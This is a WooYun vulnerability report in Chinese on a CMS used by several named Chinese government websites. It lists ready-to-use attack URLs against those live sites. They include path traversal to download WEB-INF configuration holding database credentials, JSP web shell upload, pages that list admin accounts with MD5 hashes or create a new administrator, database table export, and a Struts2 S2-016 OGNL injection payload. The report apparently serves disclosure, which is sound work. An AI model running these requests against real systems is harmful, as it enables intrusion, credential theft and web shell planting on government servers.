WooYun.org

1.0版本包括：
国际林业局
陕西省人民政府
陕西省工信厅
陕西省人口和计划生育委员会
陕西省电子口岸
陕西省宝鸡市人民政府
陕西省人大
陕西省政协
陕西省残疾人联合会
陕西省应急办
陕西省信访局
西安未来国际公司站点（内部站点）
2.0版本有以下用户：
陕西 榆林
宁夏检察
陕西省统战部
陕西省农业机械管理局
首先是1.0版本描述：（1.0版本的问题在2010年给厂商提交过，厂商修补的力度很小，似乎仅限于陕西省人民政府主站……）
任意文件下载：
示例：国家林业局：
http://www.forestry.gov.cn/DownloadFile.jsp?filename=../WEB-INF/web.xml

http://www.forestry.gov.cn/DownloadFile.jsp?filename=../WEB-INF/ccmcms.properties

（包含了数据库连接信息，接口等）
PS：由于国家林业局是多机集群，可能会出现测试失败；备用示例：
http://www.baoji.gov.cn/DownloadFile.jsp?filename=../WEB-INF/ccmcms.properties
任意文件上传：
比如：
http://www.baoji.gov.cn/ccmbam/upload/upload.jsp
在火狐FireFox浏览器中开启NoScript插件，禁用页面的js；

上传jsp脚本，提交；
可以直接看到jsp脚本的link地址：

管理权限控制不严
示例还是要在FF的noscript环境测试：
查看管理帐号信息：
陕西省工信厅
http://www.sxgxt.gov.cn/AccountAction.do?dispatch=listAccount

包含帐号信息和密码的md5序列，可以破解；
此外如果破解不了，你也可以直接添加一个管理员（FF+noscript）：
http://www.sxpop.gov.cn/AccountAction.do?dispatch=addAccountjump&cmsuserid=1

直接添加即可：
在IE中登录即可；
http://www.sxpop.gov.cn/indexAction.do?dispatch=AccountLogin

管理员权限；
另外还可以通过数据库表的导出获取用户帐号信息
示例：
http://www.forestry.gov.cn/DBAction.do?dispatch=exportTable
http://yjb.shaanxi.gov.cn/DBAction.do?dispatch=exportTable

选择 account 导出

导出成功，利用任意文件下载漏洞直接下载之；管理员信息如下：

权限管理还有其他的几个，影响较小，但是问题存在，比如：
http://www.ourfuture.cn/TemplateAction.do?dispatch=listTemplate
http://www.ourfuture.cn/WebSiteAction.do?dispatch=listWebsite
http://www.ourfuture.cn/UsersInfoAction.do?dispatch=usersInfoList
2.0版本主要是去掉了很多功能，但是将Strusts升级到了Struts2；
因此存在S2-016远程代码执行漏洞
比如：
http://www.yl.gov.cn/search.do?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}

陕西省统战部

此外，2.0版本的后台，文章管理，上传图片那里比较奇葩，程序的确判断了上传文件的类型，并且的确是如果不允许的类型程序也会给出警告，但是却是在jsp脚本已经成功上传以后了。
比如：上传图片，上传jsp脚本

文件类型不允许

已经上传完成

连接jsp脚本